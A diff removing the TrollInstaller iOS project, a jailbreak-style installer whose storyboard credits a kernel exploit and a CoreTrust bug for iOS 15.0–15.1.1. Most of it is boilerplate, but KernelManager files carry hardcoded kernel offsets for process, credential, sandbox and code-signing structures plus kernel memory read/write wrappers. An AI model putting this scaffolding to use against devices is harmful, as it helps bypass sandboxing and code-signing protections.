"@executable_path/Frameworks",
);
MARKETING_VERSION = 1.0;
OTHER_LDFLAGS = (
"-framework",
IOKit,
"-larchive",
);
PRODUCT_BUNDLE_IDENTIFIER = com.opa334.TrollInstaller;
PRODUCT_NAME = "$(TARGET_NAME)";
SWIFT_EMIT_LOC_STRINGS = YES;
TARGETED_DEVICE_FAMILY = "1,2";
};
name = Release;
};
/* End XCBuildConfiguration section */
/* Begin XCConfigurationList section */
8CE2BD1B28AD5D710058FBAD /* Build configuration list for PBXProject "TrollInstaller" */ = {
isa = XCConfigurationList;
buildConfigurations = (
8CE2BD3728AD5D730058FBAD /* Debug */,
8CE2BD3828AD5D730058FBAD /* Release */,
);
defaultConfigurationIsVisible = 0;
defaultConfigurationName = Release;
};
8CE2BD3928AD5D730058FBAD /* Build configuration list for PBXNativeTarget "TrollInstaller" */ = {
isa = XCConfigurationList;
buildConfigurations = (
8CE2BD3A28AD5D730058FBAD /* Debug */,
8CE2BD3B28AD5D730058FBAD /* Release */,
);
defaultConfigurationIsVisible = 0;
defaultConfigurationName = Release;
};
/* End XCConfigurationList section */
};
rootObject = 8CE2BD1828AD5D710058FBAD /* Project object */;
}

View File

@ -1,7 +0,0 @@
<?xml version="1.0" encoding="UTF-8"?>
<Workspace
version = "1.0">
<FileRef
location = "self:">
</FileRef>
</Workspace>

View File

@ -1,8 +0,0 @@
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>IDEDidComputeMac32BitWarning</key>
<true/>
</dict>
</plist>

View File

@ -1,14 +0,0 @@
//
// AppDelegate.h
// TrollInstaller
//
// Created by Lars Fröder on 17.08.22.
//
#import <UIKit/UIKit.h>
@interface AppDelegate : UIResponder <UIApplicationDelegate>
@end

View File

@ -1,40 +0,0 @@
//
// AppDelegate.m
// TrollInstaller
//
// Created by Lars Fröder on 17.08.22.
//
#import "AppDelegate.h"
@interface AppDelegate ()
@end
@implementation AppDelegate
- (BOOL)application:(UIApplication *)application didFinishLaunchingWithOptions:(NSDictionary *)launchOptions {
// Override point for customization after application launch.
return YES;
}
#pragma mark - UISceneSession lifecycle
- (UISceneConfiguration *)application:(UIApplication *)application configurationForConnectingSceneSession:(UISceneSession *)connectingSceneSession options:(UISceneConnectionOptions *)options {
// Called when a new scene session is being created.
// Use this method to select a configuration to create the new scene with.
return [[UISceneConfiguration alloc] initWithName:@"Default Configuration" sessionRole:connectingSceneSession.role];
}
- (void)application:(UIApplication *)application didDiscardSceneSessions:(NSSet<UISceneSession *> *)sceneSessions {
// Called when the user discards a scene session.
// If any sessions were discarded while the application was not running, this will be called shortly after application:didFinishLaunchingWithOptions.
// Use this method to release any resources that were specific to the discarded scenes, as they will not return.
}
@end

View File

@ -1,11 +0,0 @@
{
"colors" : [
{
"idiom" : "universal"
}
],
"info" : {
"author" : "xcode",
"version" : 1
}
}

Binary file not shown.

Before

Width:  |  Height:  |  Size: 245 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 15 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 15 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 21 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 24 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 27 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 1.9 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 2.7 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 3.8 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 3.8 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 3.8 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 5.8 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 5.8 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 6.0 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 8.2 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 8.4 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 8.4 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 9.7 KiB

View File

@ -1,116 +0,0 @@
{
"images" : [
{
"filename" : "40.png",
"idiom" : "iphone",
"scale" : "2x",
"size" : "20x20"
},
{
"filename" : "60.png",
"idiom" : "iphone",
"scale" : "3x",
"size" : "20x20"
},
{
"filename" : "58.png",
"idiom" : "iphone",
"scale" : "2x",
"size" : "29x29"
},
{
"filename" : "87.png",
"idiom" : "iphone",
"scale" : "3x",
"size" : "29x29"
},
{
"filename" : "80.png",
"idiom" : "iphone",
"scale" : "2x",
"size" : "40x40"
},
{
"filename" : "120.png",
"idiom" : "iphone",
"scale" : "3x",
"size" : "40x40"
},
{
"filename" : "120-1.png",
"idiom" : "iphone",
"scale" : "2x",
"size" : "60x60"
},
{
"filename" : "180.png",
"idiom" : "iphone",
"scale" : "3x",
"size" : "60x60"
},
{
"filename" : "20.png",
"idiom" : "ipad",
"scale" : "1x",
"size" : "20x20"
},
{
"filename" : "40-1.png",
"idiom" : "ipad",
"scale" : "2x",
"size" : "20x20"
},
{
"filename" : "29.png",
"idiom" : "ipad",
"scale" : "1x",
"size" : "29x29"
},
{
"filename" : "58-1.png",
"idiom" : "ipad",
"scale" : "2x",
"size" : "29x29"
},
{
"filename" : "40-2.png",
"idiom" : "ipad",
"scale" : "1x",
"size" : "40x40"
},
{
"filename" : "80-1.png",
"idiom" : "ipad",
"scale" : "2x",
"size" : "40x40"
},
{
"filename" : "76.png",
"idiom" : "ipad",
"scale" : "1x",
"size" : "76x76"
},
{
"filename" : "152.png",
"idiom" : "ipad",
"scale" : "2x",
"size" : "76x76"
},
{
"filename" : "167.png",
"idiom" : "ipad",
"scale" : "2x",
"size" : "83.5x83.5"
},
{
"filename" : "1024.png",
"idiom" : "ios-marketing",
"scale" : "1x",
"size" : "1024x1024"
}
],
"info" : {
"author" : "xcode",
"version" : 1
}
}

View File

@ -1,6 +0,0 @@
{
"info" : {
"author" : "xcode",
"version" : 1
}
}

View File

@ -1,25 +0,0 @@
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<document type="com.apple.InterfaceBuilder3.CocoaTouch.Storyboard.XIB" version="3.0" toolsVersion="13122.16" targetRuntime="iOS.CocoaTouch" propertyAccessControl="none" useAutolayout="YES" launchScreen="YES" useTraitCollections="YES" useSafeAreas="YES" colorMatched="YES" initialViewController="01J-lp-oVM">
<dependencies>
<plugIn identifier="com.apple.InterfaceBuilder.IBCocoaTouchPlugin" version="13104.12"/>
<capability name="Safe area layout guides" minToolsVersion="9.0"/>
<capability name="documents saved in the Xcode 8 format" minToolsVersion="8.0"/>
</dependencies>
<scenes>
<!--View Controller-->
<scene sceneID="EHf-IW-A2E">
<objects>
<viewController id="01J-lp-oVM" sceneMemberID="viewController">
<view key="view" contentMode="scaleToFill" id="Ze5-6b-2t3">
<rect key="frame" x="0.0" y="0.0" width="375" height="667"/>
<autoresizingMask key="autoresizingMask" widthSizable="YES" heightSizable="YES"/>
<color key="backgroundColor" xcode11CocoaTouchSystemColor="systemBackgroundColor" cocoaTouchSystemColor="whiteColor"/>
<viewLayoutGuide key="safeArea" id="6Tk-OE-BBY"/>
</view>
</viewController>
<placeholder placeholderIdentifier="IBFirstResponder" id="iYj-Kq-Ea1" userLabel="First Responder" sceneMemberID="firstResponder"/>
</objects>
<point key="canvasLocation" x="53" y="375"/>
</scene>
</scenes>
</document>

View File

@ -1,91 +0,0 @@
<?xml version="1.0" encoding="UTF-8"?>
<document type="com.apple.InterfaceBuilder3.CocoaTouch.Storyboard.XIB" version="3.0" toolsVersion="20037" targetRuntime="iOS.CocoaTouch" propertyAccessControl="none" useAutolayout="YES" useTraitCollections="YES" useSafeAreas="YES" colorMatched="YES" initialViewController="BYZ-38-t0r">
<device id="retina6_1" orientation="portrait" appearance="light"/>
<dependencies>
<deployment identifier="iOS"/>
<plugIn identifier="com.apple.InterfaceBuilder.IBCocoaTouchPlugin" version="20020"/>
<capability name="Safe area layout guides" minToolsVersion="9.0"/>
<capability name="System colors in document resources" minToolsVersion="11.0"/>
<capability name="documents saved in the Xcode 8 format" minToolsVersion="8.0"/>
</dependencies>
<scenes>
<!--View Controller-->
<scene sceneID="tne-QT-ifu">
<objects>
<viewController id="BYZ-38-t0r" customClass="ViewController" sceneMemberID="viewController">
<view key="view" contentMode="scaleToFill" id="8bC-Xf-vdC">
<rect key="frame" x="0.0" y="0.0" width="414" height="896"/>
<autoresizingMask key="autoresizingMask" widthSizable="YES" heightSizable="YES"/>
<subviews>
<button opaque="NO" contentMode="scaleToFill" contentHorizontalAlignment="center" contentVerticalAlignment="center" buttonType="system" lineBreakMode="middleTruncation" translatesAutoresizingMaskIntoConstraints="NO" id="Xbu-Hl-yex">
<rect key="frame" x="163.5" y="800" width="87" height="44"/>
<state key="normal" title="Button"/>
<buttonConfiguration key="configuration" style="plain" title="Install">
<fontDescription key="titleFontDescription" type="system" pointSize="25"/>
</buttonConfiguration>
<connections>
<action selector="installButtonPressed:" destination="BYZ-38-t0r" eventType="touchUpInside" id="8iI-fe-hIY"/>
</connections>
</button>
<label opaque="NO" userInteractionEnabled="NO" contentMode="left" horizontalHuggingPriority="251" verticalHuggingPriority="251" textAlignment="center" lineBreakMode="tailTruncation" numberOfLines="2" baselineAdjustment="alignBaselines" adjustsFontSizeToFit="NO" translatesAutoresizingMaskIntoConstraints="NO" id="JVS-Tm-8qS">
<rect key="frame" x="156.5" y="44" width="101" height="60"/>
<string key="text">TrollStore
Installer</string>
<fontDescription key="fontDescription" type="system" pointSize="25"/>
<nil key="textColor"/>
<nil key="highlightedColor"/>
</label>
<label opaque="NO" userInteractionEnabled="NO" contentMode="left" horizontalHuggingPriority="251" verticalHuggingPriority="251" textAlignment="center" lineBreakMode="tailTruncation" numberOfLines="5" baselineAdjustment="alignBaselines" adjustsFontSizeToFit="NO" translatesAutoresizingMaskIntoConstraints="NO" id="1a2-Wm-Mcd">
<rect key="frame" x="51.5" y="123" width="311.5" height="101.5"/>
<string key="text">Credits:
@jaakerblom: multicast_bytecopy exploit
@xina520: get root technique
@LinusHenze: CoreTrust bug
@zhuowei: CoreTrust bug writeup</string>
<fontDescription key="fontDescription" type="system" pointSize="17"/>
<nil key="textColor"/>
<nil key="highlightedColor"/>
</label>
<label opaque="NO" userInteractionEnabled="NO" contentMode="left" horizontalHuggingPriority="251" verticalHuggingPriority="251" text="" textAlignment="natural" lineBreakMode="tailTruncation" baselineAdjustment="alignBaselines" adjustsFontSizeToFit="NO" translatesAutoresizingMaskIntoConstraints="NO" id="Wzs-Lb-XiN">
<rect key="frame" x="207" y="453" width="0.0" height="0.0"/>
<fontDescription key="fontDescription" type="system" pointSize="17"/>
<nil key="textColor"/>
<nil key="highlightedColor"/>
</label>
<label opaque="NO" userInteractionEnabled="NO" contentMode="left" horizontalHuggingPriority="251" verticalHuggingPriority="251" text="Supports iOS 15.0 - 15.1.1" textAlignment="natural" lineBreakMode="tailTruncation" baselineAdjustment="alignBaselines" adjustsFontSizeToFit="NO" translatesAutoresizingMaskIntoConstraints="NO" id="s80-eR-fY3">
<rect key="frame" x="110.5" y="249" width="193" height="21"/>
<fontDescription key="fontDescription" type="system" pointSize="17"/>
<nil key="textColor"/>
<nil key="highlightedColor"/>
</label>
</subviews>
<viewLayoutGuide key="safeArea" id="6Tk-OE-BBY"/>
<color key="backgroundColor" systemColor="systemBackgroundColor"/>
<constraints>
<constraint firstItem="Wzs-Lb-XiN" firstAttribute="centerX" secondItem="6Tk-OE-BBY" secondAttribute="centerX" id="3hT-dN-t3y"/>
<constraint firstItem="s80-eR-fY3" firstAttribute="centerX" secondItem="6Tk-OE-BBY" secondAttribute="centerX" id="CRX-Jh-CcX"/>
<constraint firstItem="JVS-Tm-8qS" firstAttribute="top" secondItem="6Tk-OE-BBY" secondAttribute="top" id="QXJ-WA-nNb"/>
<constraint firstItem="1a2-Wm-Mcd" firstAttribute="centerX" secondItem="6Tk-OE-BBY" secondAttribute="centerX" id="c2Z-Vi-FvF"/>
<constraint firstItem="Wzs-Lb-XiN" firstAttribute="centerY" secondItem="6Tk-OE-BBY" secondAttribute="centerY" id="gpk-JM-ZKB"/>
<constraint firstItem="1a2-Wm-Mcd" firstAttribute="top" secondItem="JVS-Tm-8qS" secondAttribute="bottom" constant="19" id="kjo-EL-B0G"/>
<constraint firstItem="Xbu-Hl-yex" firstAttribute="centerX" secondItem="6Tk-OE-BBY" secondAttribute="centerX" id="pWV-JU-YTc"/>
<constraint firstItem="6Tk-OE-BBY" firstAttribute="bottom" secondItem="Xbu-Hl-yex" secondAttribute="bottom" constant="18" id="rj9-jo-r9k"/>
<constraint firstItem="s80-eR-fY3" firstAttribute="top" secondItem="1a2-Wm-Mcd" secondAttribute="bottom" constant="24.5" id="xcO-OB-aq4"/>
<constraint firstItem="JVS-Tm-8qS" firstAttribute="centerX" secondItem="6Tk-OE-BBY" secondAttribute="centerX" id="yNr-e8-C4N"/>
</constraints>
</view>
<connections>
<outlet property="statusLabel" destination="Wzs-Lb-XiN" id="Vrz-B5-otQ"/>
</connections>
</viewController>
<placeholder placeholderIdentifier="IBFirstResponder" id="dkx-z0-nzr" sceneMemberID="firstResponder"/>
</objects>
<point key="canvasLocation" x="28.985507246376812" y="83.705357142857139"/>
</scene>
</scenes>
<resources>
<systemColor name="systemBackgroundColor">
<color white="1" alpha="1" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
</systemColor>
</resources>
</document>

View File

@ -1,25 +0,0 @@
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>UIApplicationSceneManifest</key>
<dict>
<key>UIApplicationSupportsMultipleScenes</key>
<false/>
<key>UISceneConfigurations</key>
<dict>
<key>UIWindowSceneSessionRoleApplication</key>
<array>
<dict>
<key>UISceneConfigurationName</key>
<string>Default Configuration</string>
<key>UISceneDelegateClassName</key>
<string>SceneDelegate</string>
<key>UISceneStoryboardFile</key>
<string>Main</string>
</dict>
</array>
</dict>
</dict>
</dict>
</plist>

View File

@ -1,232 +0,0 @@
//
// KernelManager.h
// NonceSet15
//
// Created by Lars Fröder on 02.06.22.
//
#import <Foundation/Foundation.h>
struct StaticOffsets
{
uint64_t kernel_base;
uint64_t kauth_cred_table_anchor;
uint64_t allproc;
uint64_t sandbox_secret;
uint64_t cs_debug;
};
struct SlidOffsets
{
uint64_t kauth_cred_table_anchor;
uint64_t allproc;
uint64_t sandbox_secret;
uint64_t cs_debug;
};
struct UCredOffsets
{
uint64_t posix_offset;
uint64_t label_offset;
uint64_t audit_offset;
};
struct TaskOffsets
{
uint64_t itk_space_offset;
uint64_t t_flags_offset;
uint64_t rop_pid_offset;
uint64_t jop_pid_offset;
uint64_t disable_user_jop_offset;
uint64_t threads_offset;
uint64_t map_offset;
};
struct ThreadOffsets
{
uint64_t task_threads_offset;
uint64_t disable_user_jop_offset;
uint64_t rop_pid_offset;
uint64_t jop_pid_offset;
};
struct ProcOffsets
{
uint64_t task_offset;
uint64_t pid_offset;
uint64_t comm_offset;
uint64_t name_offset;
uint64_t ucred_offset;
uint64_t textvp_offset;
uint64_t textoff_offset;
uint64_t csflags_offset;
uint64_t fd_offset;
};
struct FileDescriptorOffsets
{
uint64_t ofiles_offset;
};
struct FileProcOffsets
{
uint64_t glob_offset;
};
struct FileGlobOffsets
{
uint64_t data_offset;
};
struct ItkSpaceOffsets
{
uint64_t is_table_offset;
};
struct IpcEntryOffsets
{
uint32_t size;
};
struct CsBlobOffsets
{
uint64_t team_id_offset;
uint64_t platform_binary_offset;
uint64_t pmap_cs_entry_offset;
};
struct UbcInfoOffsets
{
uint64_t csblobs_offset;
};
struct VnodeOffsets
{
union un {
uint64_t mountedhere;
uint64_t socket;
uint64_t specinfo;
uint64_t fifoinfo;
uint64_t ubcinfo;
} un_offset;
uint64_t type_offset;
uint64_t flag_offset;
};
struct VmMapOffsets
{
uint64_t header_offset;
uint64_t pmap_offset;
uint64_t flag_offset;
};
struct VmHeaderOffsets
{
uint64_t links_offset;
uint64_t numentry_offset;
};
struct VmMapLinkOffsets
{
uint64_t prev_offset;
uint64_t next_offset;
};
struct CsDirEntryOffsets
{
uint64_t trust_level_offset;
};
struct VmMapEntryOffsets
{
uint64_t links_offset;
uint64_t flag_bits_offset;
};
/*struct PmapOffsets
{
}*/
#define un_mountedhere un.mountedhere
#define un_socket un.socket
#define un_specinfo un.specinfo
#define un_fifoinfo un.fifoinfo
#define un_ubcinfo un.ubcinfo
struct StructOffsets
{
struct ProcOffsets proc;
struct UCredOffsets ucred;
struct ItkSpaceOffsets itk_space;
struct TaskOffsets task;
struct ThreadOffsets thread;
struct IpcEntryOffsets ipc_entry;
struct FileDescriptorOffsets fd;
struct FileProcOffsets fproc;
struct FileGlobOffsets fglob;
struct VnodeOffsets vnode;
struct UbcInfoOffsets ubc_info;
struct CsBlobOffsets csblob;
struct VmMapOffsets vmmap;
struct CsDirEntryOffsets csdirentry;
struct VmHeaderOffsets vmheader;
struct VmMapLinkOffsets vmlink;
struct VmMapEntryOffsets vmentry;
};
NS_ASSUME_NONNULL_BEGIN
@interface KernelManager : NSObject
{
}
@property (nonatomic) uint32_t (*kread_32_d)(uint64_t addr);
@property (nonatomic) uint64_t (*kread_64_d)(uint64_t addr);
@property (nonatomic) void (*kread_32_id)(uint64_t addr, uint32_t* outPtr);
@property (nonatomic) void (*kread_64_id)(uint64_t addr, uint64_t* outPtr);
@property (nonatomic) int (*kread_32_id_ret)(uint64_t addr, uint32_t* outPtr);
@property (nonatomic) int (*kread_64_id_ret)(uint64_t addr, uint64_t* outPtr);
@property (nonatomic, copy) int (^kread32_block)(uint64_t addr, uint32_t* outPtr);
@property (nonatomic, copy) int (^kread64_block)(uint64_t addr, uint64_t* outPtr);
@property (nonatomic) void (*kwrite_32)(uint64_t addr, uint32_t value);
@property (nonatomic) void (*kwrite_64)(uint64_t addr, uint64_t value);
@property (nonatomic) int (*kwrite_32_ret)(uint64_t addr, uint32_t value);
@property (nonatomic) int (*kwrite_64_ret)(uint64_t addr, uint64_t value);
@property (nonatomic, copy) int (^kwrite32_block)(uint64_t addr, uint32_t value);
@property (nonatomic, copy) int (^kwrite64_block)(uint64_t addr, uint64_t value);
@property (nonatomic) int (*kread_buf)(uint64_t addr, void* outBuf, size_t len);
@property (nonatomic) int (*kwrite_buf)(uint64_t addr, void* inBuf, size_t len);
@property (nonatomic) void (*kcleanup)(void);
@property (nonatomic) uint64_t kernel_slide;
@property (nonatomic) uint64_t kernel_base;
@property (nonatomic) struct SlidOffsets slid_offsets;
@property (nonatomic) struct StaticOffsets static_offsets;
@property (nonatomic) struct StructOffsets struct_offsets;
- (void)loadOffsets;
- (void)_loadSlidOffsets;
- (void)loadSlidOffsetsWithKernelSlide:(uint64_t)kernel_slide;
- (void)loadSlidOffsetsWithKernelBase:(uint64_t)kernel_base;
+ (instancetype)sharedInstance;
- (uint64_t)read64BitValueAtAddress:(uint64_t)addr;
- (uint32_t)read32BitValueAtAddress:(uint64_t)addr;
- (int)readBufferAtAddress:(uint64_t)addr intoBuffer:(void*)outBuf withLength:(size_t)len;
- (int)copyStringAtAddress:(uint64_t)addr intoBuffer:(void*)outBuf withBufferSize:(size_t)bufSize;
- (int)dumpHexAtAddress:(uint64_t)addr withLength:(size_t)len;
- (int)write64BitValue:(uint64_t)value toAddress:(uint64_t)addr;
- (int)write32BitValue:(uint32_t)value toAddress:(uint64_t)addr;
- (int)writeBuffer:(void*)inBuf withLength:(size_t)len toAddress:(uint64_t)addr;
- (void)finishAndCleanupIfNeeded;
@end
NS_ASSUME_NONNULL_END

View File

@ -1,438 +0,0 @@
//
// KernelManager.m
// NonceSet15
//
// Created by Lars Fröder on 02.06.22.
//
#import "KernelManager.h"
@implementation KernelManager
+ (instancetype)sharedInstance
{
static KernelManager *sharedInstance = nil;
static dispatch_once_t onceToken;
dispatch_once(&onceToken, ^{
sharedInstance = [[KernelManager alloc] init];
});
return sharedInstance;
}
- (void)loadOffsets
{
struct StaticOffsets staticOffsets;
// iPhone 13 Pro, 15.1.1
staticOffsets.kernel_base = 0xFFFFFFF007004000;
staticOffsets.sandbox_secret = 0xFFFFFFF009DF2140;
staticOffsets.allproc = 0xFFFFFFF009D86AA0;
staticOffsets.kauth_cred_table_anchor = 0xFFFFFFF009DE0988;
staticOffsets.cs_debug = 0xFFFFFFF009D86990;
self.static_offsets = staticOffsets;
struct ProcOffsets proc;
proc.task_offset = 0x10;
proc.pid_offset = 0x68;
proc.comm_offset = 0x2C8;
proc.name_offset = 0x2D9;
proc.ucred_offset = 0xD8;
proc.textvp_offset = 0x2A8;
proc.textoff_offset = 0x2B0;
proc.csflags_offset = 0x300;
proc.fd_offset = 0xE0;
struct UCredOffsets ucred;
ucred.posix_offset = 0x18;
ucred.label_offset = 0x78;
ucred.audit_offset = 0x80;
struct TaskOffsets task;
task.map_offset = 0x28;
task.threads_offset = 0x58;
task.itk_space_offset = 0x330;
task.rop_pid_offset = 0x360;
task.jop_pid_offset = 0x368;
task.disable_user_jop_offset = 0x370;
task.t_flags_offset = 0x41C;
struct ThreadOffsets thread;
thread.task_threads_offset = 0x400;
thread.disable_user_jop_offset = 0x167;
thread.rop_pid_offset = 0x168;
thread.jop_pid_offset = 0x170;
struct ItkSpaceOffsets itk_space;
itk_space.is_table_offset = 0x20;
struct IpcEntryOffsets ipc_entry;
ipc_entry.size = 0x18;
struct FileDescriptorOffsets fd;
fd.ofiles_offset = 0x20; // proc + 256
// numfiles: 0xC, proc + 244
// fd_ofileflags: proc + 264
struct FileProcOffsets fproc;
fproc.glob_offset = 0x10;
struct FileGlobOffsets fglob;
fglob.data_offset = 0x38;
struct VnodeOffsets vnode;
vnode.un_offset.ubcinfo = 0x78;
vnode.type_offset = 0x70;
vnode.flag_offset = 0x54;
struct UbcInfoOffsets ubc_info;
ubc_info.csblobs_offset = 0x50;
struct CsBlobOffsets csblob;
csblob.team_id_offset = 0x80;
csblob.platform_binary_offset = 0xB8;
csblob.pmap_cs_entry_offset = 0xC0;
struct VmMapOffsets vmmap;
vmmap.header_offset = 0x10;
vmmap.pmap_offset = 0x48;
vmmap.flag_offset = 0x11C;
struct VmHeaderOffsets vmheader;
vmheader.links_offset = 0x0;
vmheader.numentry_offset = 0x20;
struct VmMapLinkOffsets vmlink;
vmlink.prev_offset = 0x0;
vmlink.next_offset = 0x8;
struct VmMapEntryOffsets vmentry;
vmentry.links_offset = 0x0;
vmentry.flag_bits_offset = 0x48;
// vm header:
// links: 0x00
// nentries: 0x20
// ..
struct CsDirEntryOffsets csdirentry;
csdirentry.trust_level_offset = 0x9C;
struct StructOffsets structOffsets;
structOffsets.proc = proc;
structOffsets.ucred = ucred;
structOffsets.task = task;
structOffsets.thread = thread;
structOffsets.itk_space = itk_space;
structOffsets.ipc_entry = ipc_entry;
structOffsets.fd = fd;
structOffsets.fproc = fproc;
structOffsets.fglob = fglob;
structOffsets.vnode = vnode;
structOffsets.ubc_info = ubc_info;
structOffsets.csblob = csblob;
structOffsets.vmmap = vmmap;
structOffsets.csdirentry = csdirentry;
structOffsets.vmheader = vmheader;
structOffsets.vmlink = vmlink;
structOffsets.vmentry = vmentry;
self.struct_offsets = structOffsets;
}
- (void)_loadSlidOffsets
{
struct SlidOffsets slidOffsets;
slidOffsets.sandbox_secret = _static_offsets.sandbox_secret + self.kernel_slide;
slidOffsets.allproc = _static_offsets.allproc + self.kernel_slide;
slidOffsets.kauth_cred_table_anchor = _static_offsets.kauth_cred_table_anchor + self.kernel_slide;
slidOffsets.cs_debug = _static_offsets.cs_debug + self.kernel_slide;
self.slid_offsets = slidOffsets;
}
- (void)loadSlidOffsetsWithKernelSlide:(uint64_t)kernel_slide
{
self.kernel_base = self.static_offsets.kernel_base + kernel_slide;
self.kernel_slide = kernel_slide;
[self _loadSlidOffsets];
}
- (void)loadSlidOffsetsWithKernelBase:(uint64_t)kernel_base
{
self.kernel_base = kernel_base;
self.kernel_slide = kernel_base - self.static_offsets.kernel_base;
[self _loadSlidOffsets];
}
- (uint64_t)read64BitValueAtAddress:(uint64_t)addr
{
if(_kread_64_d)
{
return _kread_64_d(addr);
}
else
{
uint64_t outInt = 0;
int suc = 0;
if(_kread_64_id)
{
_kread_64_id(addr, &outInt);
}
else if(_kread_64_id_ret)
{
suc = _kread_64_id_ret(addr, &outInt);
}
else if(_kread64_block)
{
suc = _kread64_block(addr, &outInt);
}
else
{
uint8_t* b = (uint8_t*)&outInt;
*(uint32_t *)b = [self read32BitValueAtAddress:addr];
*(uint32_t *)(b + 4) = [self read32BitValueAtAddress:addr + 4];
}
if(suc != 0)
{
NSLog(@"ERROR reading kernel memory (%llX): %d", addr, suc);
}
return outInt;
}
}
- (uint32_t)read32BitValueAtAddress:(uint64_t)addr
{
if(_kread_32_d)
{
return _kread_32_d(addr);
}
else
{
uint32_t outInt = 0;
int suc = 0;
if(_kread_32_id)
{
_kread_32_id(addr, &outInt);
}
else if(_kread_32_id_ret)
{
suc = _kread_32_id_ret(addr, &outInt);
}
else if(_kread32_block)
{
suc = _kread32_block(addr, &outInt);
}
if(suc != 0)
{
NSLog(@"ERROR read kernel memory (%llX): %d", addr, suc);
}
return outInt;
}
}
- (int)readBufferAtAddress:(uint64_t)addr intoBuffer:(void*)outBuf withLength:(size_t)len
{
//printf("read at %llX - %lX\n", addr, len);
//usleep(50);
if(_kread_buf)
{
return _kread_buf(addr, outBuf, len);
}
else
{
uint64_t endAddr = addr + len;
uint32_t outputOffset = 0;
unsigned char* outputBytes = (unsigned char*)outBuf;
for(uint64_t curAddr = addr; curAddr < endAddr; curAddr += 4)
{
//printf("read %llX\n", curAddr);
//usleep(1000);
uint32_t k = [self read32BitValueAtAddress:curAddr];
unsigned char* kb = (unsigned char*)&k;
for(int i = 0; i < 4; i++)
{
if(outputOffset == len) break;
outputBytes[outputOffset] = kb[i];
outputOffset++;
}
if(outputOffset == len) break;
}
return 0;
}
}
- (int)copyStringAtAddress:(uint64_t)addr intoBuffer:(void*)outBuf withBufferSize:(size_t)bufSize
{
bzero(outBuf, bufSize);
char* outBufStr = (char*)outBuf;
uint64_t maxEndAddr = addr + bufSize;
int ci = 0;
for(uint64_t curAddr = addr; curAddr < maxEndAddr; curAddr += 4)
{
uint32_t k = [self read32BitValueAtAddress:curAddr];
char* kb = (char*)&k;
for(int i = 0; i < 4; i++)
{
char c = kb[i];
if(c == '\0') return 0;
outBufStr[ci] = c;
ci++;
}
}
return 0;
}
void DumpHex(const void* data, size_t size) {
char ascii[17];
size_t i, j;
ascii[16] = '\0';
for (i = 0; i < size; ++i) {
if(i % 16 == 0)
{
printf("0x%zX | ", i);
}
printf("%02X ", ((unsigned char*)data)[i]);
if (((unsigned char*)data)[i] >= ' ' && ((unsigned char*)data)[i] <= '~') {
ascii[i % 16] = ((unsigned char*)data)[i];
} else {
ascii[i % 16] = '.';
}
if ((i+1) % 8 == 0 || i+1 == size) {
printf(" ");
if ((i+1) % 16 == 0) {
printf("| %s \n", ascii);
} else if (i+1 == size) {
ascii[(i+1) % 16] = '\0';
if ((i+1) % 16 <= 8) {
printf(" ");
}
for (j = (i+1) % 16; j < 16; ++j) {
printf(" ");
}
printf("| %s \n", ascii);
}
}
}
}
- (int)dumpHexAtAddress:(uint64_t)addr withLength:(size_t)len
{
void* buffer = malloc(len);
int ret = [self readBufferAtAddress:addr intoBuffer:buffer withLength:len];
if(ret == 0)
{
DumpHex(buffer, len);
}
free(buffer);
return ret;
}
- (int)write64BitValue:(uint64_t)value toAddress:(uint64_t)addr
{
if(_kwrite_64)
{
_kwrite_64(addr, value);
}
else if(_kwrite_64_ret)
{
return _kwrite_64_ret(addr, value);
}
else if(_kwrite64_block)
{
return _kwrite64_block(addr, value);
}
else
{
int r1 = [self write32BitValue:(uint32_t)value toAddress:addr];
int r2 = [self write32BitValue:(uint32_t)(value >> 32) toAddress:addr + 4];
return r1 || r2;
}
return 0;
}
- (int)write32BitValue:(uint32_t)value toAddress:(uint64_t)addr
{
if(_kwrite_32)
{
_kwrite_32(addr, value);
}
else if(_kwrite_32_ret)
{
return _kwrite_32_ret(addr, value);
}
else if(_kwrite32_block)
{
return _kwrite32_block(addr, value);
}
return 0;
}
- (int)writeBuffer:(void*)inBuf withLength:(size_t)len toAddress:(uint64_t)addr
{
//printf("write to %llX - %lX\n", addr, len);
//usleep(50);
if(_kwrite_buf)
{
return _kwrite_buf(addr, inBuf, len);
}
else
{
uint64_t endAddr = addr + len;
uint32_t inputOffset = 0;
unsigned char* inputBytes = (unsigned char*)inBuf;
for(uint64_t curAddr = addr; curAddr < endAddr; curAddr += 4)
{
uint32_t toWrite = 0;
int bc = 4;
uint64_t remainingBytes = endAddr - curAddr;
if(remainingBytes < 4)
{
toWrite = [self read32BitValueAtAddress:curAddr];
bc = (int)remainingBytes;
}
unsigned char* wb = (unsigned char*)&toWrite;
for(int i = 0; i < bc; i++)
{
wb[i] = inputBytes[inputOffset];
inputOffset++;
}
//printf("write %X to %llX\n", toWrite, curAddr);
//usleep(1000);
[self write32BitValue:toWrite toAddress:curAddr];
}
return 0;
}
return 0;
}
- (void)finishAndCleanupIfNeeded
{
if(_kcleanup)
{
_kcleanup();
}
}
- (void)dealloc
{
[self finishAndCleanupIfNeeded];
}
@end

View File

@ -1,15 +0,0 @@
//
// SceneDelegate.h
// TrollInstaller
//
// Created by Lars Fröder on 17.08.22.
//
